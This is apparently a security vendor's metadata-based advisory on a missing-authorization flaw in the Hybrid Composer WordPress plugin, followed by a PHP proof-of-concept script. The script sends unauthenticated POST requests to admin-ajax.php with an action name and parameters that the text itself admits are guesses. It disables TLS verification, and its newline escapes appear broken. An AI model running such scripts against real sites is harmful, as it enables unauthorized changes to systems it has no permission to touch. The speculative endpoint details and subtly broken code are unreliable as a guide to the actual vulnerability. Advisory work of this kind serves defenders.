Atomic Edge analysis of CVE-2019-25738 (metadata-based): This vulnerability affects the Hybrid Composer plugin for WordPress, version 1.4.6 and earlier. It is a Missing Authorization issue (CWE-862) that allows unauthenticated attackers to perform unauthorized actions. The CVSS score is 5.3 (Medium) with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N, indicating no confidentiality impact but some integrity impact.
Root Cause: The vulnerability stems from a missing capability check on a specific function within the plugin. Based on the CWE classification (Missing Authorization) and the description, the plugin likely exposes an AJAX handler, REST API endpoint, or other callable function that does not call current_user_can() or similar permission verification before executing privileged operations. This is inferred from the CWE and vulnerability metadata, as no source code is available for review. The patched version (1.4.7) likely added appropriate capability checks to the affected function.
Exploitation: An unauthenticated attacker can exploit this by sending a crafted HTTP request to a plugin-specific endpoint. The likely attack vector is an AJAX action registered by the plugin, such as /wp-admin/admin-ajax.php?action=hybrid_composer_unauthorized_action. The attacker does not need authentication (PR:N) and can trigger the action remotely (AV:N) with low complexity (AC:L). The payload would consist of standard POST parameters expected by the vulnerable function, potentially including nonce values if the plugin relies solely on nonces (which are not sufficient without capability checks). Since no user interaction is required (UI:N), the attacker can automate exploitation across multiple targets.
Remediation: The fix requires adding proper authorization checks to all functions and endpoints that perform privileged operations. Specifically, the plugin should implement capability checks using WordPress functions like current_user_can() or similar role-based checks before executing any action that modifies data or settings. The nonce verification alone is insufficient as it only confirms the request originated from the intended user, not that the user has the required privileges. If the function is meant for administrator use, checks like current_user_can(‘manage_options’) should be added. For front-end actions, appropriate role or capability checks must be applied based on the action’s sensitivity.
Impact: Successful exploitation allows an unauthenticated attacker to perform unauthorized actions that the vulnerable function permits. The CVSS score indicates no direct data exposure (C:N) but some integrity impact (I:L). This could manifest as the attacker being able to modify non-sensitive plugin settings, toggle features, perform actions that degrade the site’s functionality, or prepare the ground for further attacks. The low severity suggests the compromised action does not directly expose sensitive data or provide full administrative access, but it still represents a security risk to site integrity.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2019-25738 - Hybrid Composer <= 1.4.6 - Missing Authorization
// Configuration: Set the target WordPress site URL
$target_url = 'http://example.com'; // Change this to the target WordPress site URL
// The plugin likely registers an AJAX action like 'hybrid_composer_save_settings' or 'hybrid_composer_update'
// Based on the CWE (Missing Authorization), we assume an AJAX handler exists that lacks capability checks
// Common patterns for plugin AJAX actions: {plugin_slug}_{action_name}
// Step 1: Attempt to call the vulnerable AJAX endpoint without authentication
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// The specific action name is unknown without code, but based on plugin slug 'hybrid-composer' it likely uses
// 'hybrid_composer_' prefix. Common vulnerable actions: save, update, reset, import, export
$vulnerable_action = 'hybrid_composer_save_settings'; // This is an assumption based on common patterns
// Prepare POST data (parameters depend on the function, but we include typical settings structure)
$post_data = array(
'action' => $vulnerable_action,
'settings' => '{"key":"value"}', // Assumed parameter structure for settings update
'nonce' => 'test_nonce' // Nonce might be checked but without capability check it's insufficient
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Check the response (status 200 indicates the request was processed)
if ($http_code == 200) {
echo "[+] Request sent to $ajax_url with action $vulnerable_actionn";
echo "[+] HTTP Response Code: $http_coden";
echo "[+] Response Body: $responsen";
echo "[+] The plugin may be vulnerable to unauthorized action execution.n";
} else {
echo "[-] Request failed with HTTP code: $http_coden";
echo "[-] The endpoint might be blocked or patched.n";
}
echo "n[!] Note: This PoC assumes the action 'hybrid_composer_save_settings' is the vulnerable endpoint.n";
echo "[!] Without source code, adjust the action name based on actual plugin behavior.n";
?>
